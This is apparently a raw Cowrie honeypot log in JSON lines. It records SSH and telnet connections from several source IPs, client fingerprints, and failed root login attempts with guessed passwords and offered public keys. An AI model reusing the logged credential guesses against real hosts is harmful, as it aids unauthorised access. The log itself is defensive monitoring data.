{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:16.538548Z","src_ip":"103.173.227.57","session":"307cab5ed59f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00205826759338,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:16.726672Z","src_ip":"152.42.224.71","session":"28365f68b31d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"kbctyjr","message":"login attempt [root/kbctyjr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:17.266548Z","src_ip":"103.173.227.57","session":"307cab5ed59f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.30637001991272,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:18.343415Z","src_ip":"152.42.224.71","session":"b4eaaa9ce8ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:18.512469Z","src_ip":"103.173.227.57","session":"307cab5ed59f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59272,"dst_ip":"10.17.0.5","dst_port":23,"session":"92fd0db6ec6d","protocol":"telnet","message":"New connection: 152.42.224.71:59272 (10.17.0.5:23) [session: 92fd0db6ec6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:27.697281Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59274,"dst_ip":"10.17.0.5","dst_port":23,"session":"a095f6ab7b0e","protocol":"telnet","message":"New connection: 152.42.224.71:59274 (10.17.0.5:23) [session: a095f6ab7b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:32.042109Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59280,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d5bd5e013d7","protocol":"telnet","message":"New connection: 152.42.224.71:59280 (10.17.0.5:23) [session: 5d5bd5e013d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:32.990142Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44586,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4bcc1886eae","protocol":"telnet","message":"New connection: 152.42.224.71:44586 (10.17.0.5:23) [session: e4bcc1886eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:35.828431Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":57804,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c5d5c176ffb","protocol":"ssh","message":"New connection: 47.237.167.49:57804 (159.203.135.109:22) [session: 0c5d5c176ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:37.394405Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44596,"dst_ip":"10.17.0.5","dst_port":23,"session":"a01864a505d9","protocol":"telnet","message":"New connection: 152.42.224.71:44596 (10.17.0.5:23) [session: a01864a505d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:38.439255Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44608,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fc022be9c4b","protocol":"telnet","message":"New connection: 152.42.224.71:44608 (10.17.0.5:23) [session: 5fc022be9c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:38.530803Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.237.147.156","src_port":47762,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2e4300968de","protocol":"ssh","message":"New connection: 104.237.147.156:47762 (10.17.0.5:22) [session: d2e4300968de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.548724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.559072Z","src_ip":"104.237.147.156","session":"d2e4300968de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.566891Z","src_ip":"104.237.147.156","session":"d2e4300968de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:6e:f7:cb:fa:f1:8c:eb:34:43:82:d1:bc:bc:4a:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3o9XMIcfz+NDp8+/dc7s8o11cuiFaMI1MlHGJTSfCrGkTg0pYDGGjY9uJ3E44UdQK/p/YUj6IzTnvHK1gAInNPHJEVuiTTOTNdNPOpZhDbhhhrVmyMdRe4biLJKqsGGxrR97nMalhOkp/N8CcOEY6KxXbw4p07uYhBpZjmMC2v3nHGBPqrm0db8wmPJItP7+rIhaHAdpEVtqcc21sX2UVp4vDiU77jd3HEL3OR9P2P2qcPep4XTF5GEaXuOs0BaALya32srgtUVPOQdJ7UsNRi+iNruTpBgBHBQCF65BwrjE+6gKK1y9wUhKL4LXUL+uVJF0UbaLrgCf5BaXKR+JYm79RXObh81P1H1U71BhSSDGmOf4Uqs2Lo7IkxsiGlNO6Evzfs7oELEpdaWDHnehswowoTjJHg1KFzdoEpnU8GQEnmzynNrGSCgbnAlo/CBKYkf4WJZcZXICBFZ0x8Ce/D6ysiZycWX+DeJER/ZGd7MW/SzThEDG02jfONuX0OWpw2QDy7uDXUWeW6zB1okEVEJhAC4bAeC4x94obXCxFcBHQ2W8Q1W88TIYO3kosWVYbKnxGdmes/jEEsGF1hbKhLJF+JBMg16mwoAP79WlZunydf+jHRkZXn2BOjKAs0xkRONfIfYQdH0klijXDK28GgkJ2rzYY61qtAbttiE889w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:6e:f7:cb:fa:f1:8c:eb:34:43:82:d1:bc:bc:4a:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.618508Z","src_ip":"104.237.147.156","session":"d2e4300968de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:6e:f7:cb:fa:f1:8c:eb:34:43:82:d1:bc:bc:4a:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3o9XMIcfz+NDp8+/dc7s8o11cuiFaMI1MlHGJTSfCrGkTg0pYDGGjY9uJ3E44UdQK/p/YUj6IzTnvHK1gAInNPHJEVuiTTOTNdNPOpZhDbhhhrVmyMdRe4biLJKqsGGxrR97nMalhOkp/N8CcOEY6KxXbw4p07uYhBpZjmMC2v3nHGBPqrm0db8wmPJItP7+rIhaHAdpEVtqcc21sX2UVp4vDiU77jd3HEL3OR9P2P2qcPep4XTF5GEaXuOs0BaALya32srgtUVPOQdJ7UsNRi+iNruTpBgBHBQCF65BwrjE+6gKK1y9wUhKL4LXUL+uVJF0UbaLrgCf5BaXKR+JYm79RXObh81P1H1U71BhSSDGmOf4Uqs2Lo7IkxsiGlNO6Evzfs7oELEpdaWDHnehswowoTjJHg1KFzdoEpnU8GQEnmzynNrGSCgbnAlo/CBKYkf4WJZcZXICBFZ0x8Ce/D6ysiZycWX+DeJER/ZGd7MW/SzThEDG02jfONuX0OWpw2QDy7uDXUWeW6zB1okEVEJhAC4bAeC4x94obXCxFcBHQ2W8Q1W88TIYO3kosWVYbKnxGdmes/jEEsGF1hbKhLJF+JBMg16mwoAP79WlZunydf+jHRkZXn2BOjKAs0xkRONfIfYQdH0klijXDK28GgkJ2rzYY61qtAbttiE889w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.624023Z","src_ip":"104.237.147.156","session":"d2e4300968de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:d0:ed:9c:c3:d2:1e:1d:2c:a7:ba:f6:dd:ad:ef:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1VNStYL4fYcmG8m/6T145fPmXXAKqU100n0UujlIs6i5wyZOo55T+hdIRkfROnOXABDn7hNbTneUuSiFdLkK9YSh7hg9wGfeg16aqptAgKPmrGoY/V42++iuwXFinuBq6QcH2MWGIShEMDtgeNNYXDh1qePQw4oKxKZ7+0DR8T57OCznMc/CcVYPZqmeF8clfT9YGOG8AB+YSLJT3fZGR9JzmqR8ZwnWtNxzE6X0NIKg6nN7649rXVK+bCVEDyt+I0uKqPQaEjutiycYod/ouxwoClF+3xu4hQ9K0YRruR6ROh0gTpz/uiLNKtsjjugiRx17cQA0u5bdWPvbw/LD3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:d0:ed:9c:c3:d2:1e:1d:2c:a7:ba:f6:dd:ad:ef:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.632583Z","src_ip":"104.237.147.156","session":"d2e4300968de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:d0:ed:9c:c3:d2:1e:1d:2c:a7:ba:f6:dd:ad:ef:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1VNStYL4fYcmG8m/6T145fPmXXAKqU100n0UujlIs6i5wyZOo55T+hdIRkfROnOXABDn7hNbTneUuSiFdLkK9YSh7hg9wGfeg16aqptAgKPmrGoY/V42++iuwXFinuBq6QcH2MWGIShEMDtgeNNYXDh1qePQw4oKxKZ7+0DR8T57OCznMc/CcVYPZqmeF8clfT9YGOG8AB+YSLJT3fZGR9JzmqR8ZwnWtNxzE6X0NIKg6nN7649rXVK+bCVEDyt+I0uKqPQaEjutiycYod/ouxwoClF+3xu4hQ9K0YRruR6ROh0gTpz/uiLNKtsjjugiRx17cQA0u5bdWPvbw/LD3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.635580Z","src_ip":"104.237.147.156","session":"d2e4300968de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:1d:0a:0e:ba:e0:f5:2b:89:2a:ea:47:09:db:a9:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC27qmTks4yhOo+be5KkaKVhoZTN3hWNEQYhWVAFfhUPTgMwuQkvkL003nTa9ZdzgCEDT9kPjwCKbQBRpbtjLDW/6SulStwjyRHujiGDubvuUC2qgO8YNMZD3MFZJGlL/7GgLJpc3pzbOOb07QbT0BelCgG7DARS7p8mVzuEol+vfgcwMR+3aA6kjwxaqnB1mAKB4w6js+3ExWPk4qZsQg7cqiLtMUuUfgBYHHb7LTHILuXB+ZaEUxXfsP8ZR2YKUB2ZyuRSy+7JbQ94zU9+vC0DAkEC4cH0jmjhHLI7MQi4XrpOzEXM3KWhmhnhRCEFKYh1iCz6W4OUPMYKR0bzxCf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:1d:0a:0e:ba:e0:f5:2b:89:2a:ea:47:09:db:a9:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.643214Z","src_ip":"104.237.147.156","session":"d2e4300968de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:1d:0a:0e:ba:e0:f5:2b:89:2a:ea:47:09:db:a9:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC27qmTks4yhOo+be5KkaKVhoZTN3hWNEQYhWVAFfhUPTgMwuQkvkL003nTa9ZdzgCEDT9kPjwCKbQBRpbtjLDW/6SulStwjyRHujiGDubvuUC2qgO8YNMZD3MFZJGlL/7GgLJpc3pzbOOb07QbT0BelCgG7DARS7p8mVzuEol+vfgcwMR+3aA6kjwxaqnB1mAKB4w6js+3ExWPk4qZsQg7cqiLtMUuUfgBYHHb7LTHILuXB+ZaEUxXfsP8ZR2YKUB2ZyuRSy+7JbQ94zU9+vC0DAkEC4cH0jmjhHLI7MQi4XrpOzEXM3KWhmhnhRCEFKYh1iCz6W4OUPMYKR0bzxCf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.646827Z","src_ip":"104.237.147.156","session":"d2e4300968de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:73:48:9c:5c:cb:79:1f:8b:85:90:0a:46:96:d5:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkKQB+kf5Qw/FO5BuHskZDweLQ5cMc1ibGhY95kz57wrDgJ1Z1KZ40GSD4ZXuXssbI1Gk4346GlHHN7LXyJQjkVHf3YYSL7y2h+xvFIH8xhU+gkAvp6RG1xX5fDAeO6C17ra+5KU0jlZI7UoGQTpShVXaRUfERNGDr1HrXJh5TLjqZoHwbMa2wcGG/uwFzLCqSPIjyz3FP2xjs1xzJ57hw8E43icHvsBxJjnove6OvtuOrwUL7Iow0gjlaVljB8ti8cIkKW4K+WMfOtIZh1cICCV3PR0kNSKrNckVGzN/qyjb8zMt/D2eN/P3fji18bPs3X5cayAhiex7E9fchKsGZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:73:48:9c:5c:cb:79:1f:8b:85:90:0a:46:96:d5:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.822422Z","src_ip":"104.237.147.156","session":"d2e4300968de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:73:48:9c:5c:cb:79:1f:8b:85:90:0a:46:96:d5:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkKQB+kf5Qw/FO5BuHskZDweLQ5cMc1ibGhY95kz57wrDgJ1Z1KZ40GSD4ZXuXssbI1Gk4346GlHHN7LXyJQjkVHf3YYSL7y2h+xvFIH8xhU+gkAvp6RG1xX5fDAeO6C17ra+5KU0jlZI7UoGQTpShVXaRUfERNGDr1HrXJh5TLjqZoHwbMa2wcGG/uwFzLCqSPIjyz3FP2xjs1xzJ57hw8E43icHvsBxJjnove6OvtuOrwUL7Iow0gjlaVljB8ti8cIkKW4K+WMfOtIZh1cICCV3PR0kNSKrNckVGzN/qyjb8zMt/D2eN/P3fji18bPs3X5cayAhiex7E9fchKsGZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.827128Z","src_ip":"104.237.147.156","session":"d2e4300968de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:36:28:f2:b2:f3:46:30:9f:8f:56:b7:12:38:3d:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZ8uhVSl4r1iVe3zLEuOzycWymk80qPac7ttdyyFAehqZMOkHbHsrfBIOdie4wCl8n2m9NMu2EoUvF8e5ISuFCjEzn2g1NjYGYLsLPVKmvBQr0kPe/fB3d2fux7YeNhKWrJpwE/YFtoTBFRaom98jX8LXO2jpd1Jq1m5XZ1bWw6ZsKE9DW1hPRoUa8BdLAYeDz8WiSAnQqrjw5twVdjj4GAdZJpnXEAz1GC6gbHLmVNw/9Y0gJsH9trC/NRJO1PEw+IaZ9ZmTL5iMBVebfRsaJiRPAxiJIIhKH7XtQ64QMv6UZ67OBttUA0X7v658eKUTmrqhvt2eoU39VoPUHtAXCyb23R/wNFgq4Em/ELZ3L+cmSO9IGrEFUHGLp0BUZ1jGvpp1XpVB3c+nqFjy2b+Slov2JdvjM4t7vQ9TMmII3VRe9lpzteM8360oGGhdRRFie9L8UJOr3cmTQqxga7sanqGZxNCdZjKHJaSLCfea/8KSyf1hBNqnO2bkrzCw1JeoW5pn38UPZtsONv37y6OGqyuKt67eVzWIqAs0FpH6jQUQAV6sW46aF9We2t79yVQ5JVsLD6qvQRa6P0BD8gBHpgIYtlX43mUcI76J4qczQlVqcVB+cbTVqZpdVKSIP84nD2zRwPnncwbY2J+EDcAFTCQxWjiE1BnEUNtwodw0nMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:36:28:f2:b2:f3:46:30:9f:8f:56:b7:12:38:3d:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.836957Z","src_ip":"104.237.147.156","session":"d2e4300968de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:36:28:f2:b2:f3:46:30:9f:8f:56:b7:12:38:3d:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZ8uhVSl4r1iVe3zLEuOzycWymk80qPac7ttdyyFAehqZMOkHbHsrfBIOdie4wCl8n2m9NMu2EoUvF8e5ISuFCjEzn2g1NjYGYLsLPVKmvBQr0kPe/fB3d2fux7YeNhKWrJpwE/YFtoTBFRaom98jX8LXO2jpd1Jq1m5XZ1bWw6ZsKE9DW1hPRoUa8BdLAYeDz8WiSAnQqrjw5twVdjj4GAdZJpnXEAz1GC6gbHLmVNw/9Y0gJsH9trC/NRJO1PEw+IaZ9ZmTL5iMBVebfRsaJiRPAxiJIIhKH7XtQ64QMv6UZ67OBttUA0X7v658eKUTmrqhvt2eoU39VoPUHtAXCyb23R/wNFgq4Em/ELZ3L+cmSO9IGrEFUHGLp0BUZ1jGvpp1XpVB3c+nqFjy2b+Slov2JdvjM4t7vQ9TMmII3VRe9lpzteM8360oGGhdRRFie9L8UJOr3cmTQqxga7sanqGZxNCdZjKHJaSLCfea/8KSyf1hBNqnO2bkrzCw1JeoW5pn38UPZtsONv37y6OGqyuKt67eVzWIqAs0FpH6jQUQAV6sW46aF9We2t79yVQ5JVsLD6qvQRa6P0BD8gBHpgIYtlX43mUcI76J4qczQlVqcVB+cbTVqZpdVKSIP84nD2zRwPnncwbY2J+EDcAFTCQxWjiE1BnEUNtwodw0nMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.841046Z","src_ip":"104.237.147.156","session":"d2e4300968de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:42.860535Z","src_ip":"104.237.147.156","session":"d2e4300968de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":110.11469411849976,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:50.866402Z","src_ip":"152.42.224.71","session":"11b9a6042fca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":42214,"dst_ip":"10.17.0.5","dst_port":22,"session":"79192cdb830e","protocol":"ssh","message":"New connection: 185.236.22.41:42214 (10.17.0.5:22) [session: 79192cdb830e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:54.783180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:54.806715Z","src_ip":"185.236.22.41","session":"79192cdb830e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:54.912569Z","src_ip":"185.236.22.41","session":"79192cdb830e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":43304,"dst_ip":"159.203.135.109","dst_port":22,"session":"73d2c8c4170b","protocol":"ssh","message":"New connection: 181.188.172.6:43304 (159.203.135.109:22) [session: 73d2c8c4170b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:55.356586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:55.363955Z","src_ip":"181.188.172.6","session":"73d2c8c4170b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sergei","message":"login attempt [root/sergei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:05:55.439426Z","src_ip":"185.236.22.41","session":"79192cdb830e","protocol":"ssh"}
